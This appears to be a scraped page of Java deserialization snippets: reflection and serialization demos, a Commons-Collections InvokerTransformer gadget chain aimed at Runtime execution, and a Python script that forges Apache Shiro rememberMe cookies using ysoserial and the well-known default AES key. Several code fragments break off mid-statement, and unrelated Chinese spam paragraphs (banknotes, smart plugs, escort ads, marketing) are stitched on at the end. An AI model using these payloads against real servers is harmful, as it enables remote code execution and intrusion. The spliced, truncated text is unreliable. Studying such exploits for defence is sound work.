class User{ private String name; private int age; @Override public String toString(){ return "User
public static void main(String[] args) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException { User user=new User(); Class clz=user.getClass(); Method method=clz.getMethod("setName", String.class); Method method1=clz.getMethod("setAge", int.class); method1.invoke(user,21); method.invoke(user,"fortheone"); System.out.println(user); }
import java.io.*; public class test1 { public static void main(String[] args){ User user=new User("fortheone", 21); try { // 创建一个FIleOutputStream FileOutputStream fos=new FileOutputStream("https://www.freebuf.com/articles/network/user.ser"); // 将这个FIleOutputStream封装到ObjectOutputStream中 ObjectOutputStream os=new ObjectOutputStream(fos); // 调用writeObject *** ,序列化对象到文件user.ser中 os.writeObject(user); System.out.println("读取数据:"); // 创建一个FIleInutputStream FileInputStream fis=new FileInputStream("https://www.freebuf.com/articles/network/user.ser"); // 将FileInputStream封装到ObjectInputStream中 ObjectInputStream oi=new ObjectInputStream(fis); // 调用readObject从user.ser中反序列化出对象,还需要进行一下类型转换,默认是Object类型 User user1=(User)oi.readObject(); user1.info(); } catch (FileNotFoundException e) { e.printStackTrace(); } catch (IOException e) { e.printStackTrace(); } catch (ClassNotFoundException e) { e.printStackTrace(); } } } class User implements Serializable{ private String name; private int age; public User(String name, int age) { this.name=name; this.age=age; } public void info(){ System.out.println("Name: "+name+", Age: "+age); } // private void readObject(ObjectInputStream input) throws IOException, ClassNotFoundException{ // System.out.println("[*]执行了自定义的readObject函数"); // } }
<dependencies> <dependency> <groupId>commons-collections</groupId> <artifactId>commons-collections</artifactId> <version>3.1</version> </dependency> </dependencies>
import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap; import org.apache.commons.collections.map.TransformedMap; import javax.management.BadAttributeValueExpException; import java.lang.reflect.Constructor; import java.lang.reflect.*; import java.util.HashMap; import java.util.Map; import java.io.*; public class test { public static void main(String[] args) throws Exception{ Transformer[] transformers=new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]
import java.io.File; import java.io.FileInputStream; import java.io.FileNotFoundException; import java.io.FileOutputStream; import java.io.IOException; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.annotation.Retention; import java.lang.annotation.Target; import java.lang.reflect.Constructor; import java.util.HashMap; import java.util.Map; import java.util.Map.Entry; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap; public class test { public static void main(String[] args) throws Exception { //1.客户端构建攻击代码 //此处构建了一个transformers的数组,在其中构建了任意函数执行的核心代码 Transformer[] transformers=new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[]
import sys import uuid import base64 import subprocess from Crypto.Cipher import AES def encode_rememberme(command): popen=subprocess.Popen(['java', '-jar', 'ysoserial-master-30099844c6-1.jar', 'JRMPClient', command], stdout=subprocess.PIPE) BS=AES.block_size pad=lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode() key=base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==") iv=uuid.uuid4().bytes encryptor=AES.new(key, AES.MODE_CBC, iv) file_body=pad(popen.stdout.read()) base64_ciphertext=base64.b64encode(iv + encryptor.encrypt(file_body)) return base64_ciphertext if __name__=='__main__': payload=encode_rememberme(sys.argv[1]) print "rememberMe={0}".format(payload.decode())
中央人民银行在定为2020年11月5日公布新版5米米。历经升级转变 发展趋势到现在的第五套。在图案设计和防伪标识上面拥有新的转变和技术性。新版本5米纸币11月5日发售是真是假 新版本5米纸币长什么样...
跟着科技的进步,许多产物都的名称前面都被添加上了“智能”二字,就拿小米家的插座来说吧,它不只可以或许支持手机长途节制,还可以毗连WiFi,按时开关,自动断电,以及电量统计等等,可是最近笔者家的小米...
乐成的产物不只需要具备贸易代价、更重要的是具备用户的承认,而本文就从12个方面入手,聊聊什么样的产物能得到用户的承认,让用户喜欢。 奈何的产物让人会喜欢? 其实这个是一个反问句,反问句背后,是千千万...
想不想看海口市高端模特预约的工作中日常生活,个人微信拉进大家的间距。各地区盆友都能够来关心一下我文章内容,陪你掌握现阶段受欢迎的高端模特职业也有最前沿的海口市高端模特预约信息内容哦。女学妹发展趋势非常...
. 宝宝拉肚子其实是可以适当吃一些水果的,有很多认为水果是凉性,宝宝吃了会加重腹泻情况,那么,宝宝拉肚子能吃水果吗?宝宝拉肚子可以吃什么水果?接下来友谊长存小编就来说一说。 宝宝拉肚子可以吃水果吗...
网络推广,听起来很繁杂,必须技术性和方式,乃至钱财。事实上,这件事情很繁杂也非常简单,关键在于你怎么做。在这儿我写一些我经常应用的好用方式,大伙儿能够实际操作参照。 营销推广的实质是让大量的人了解并...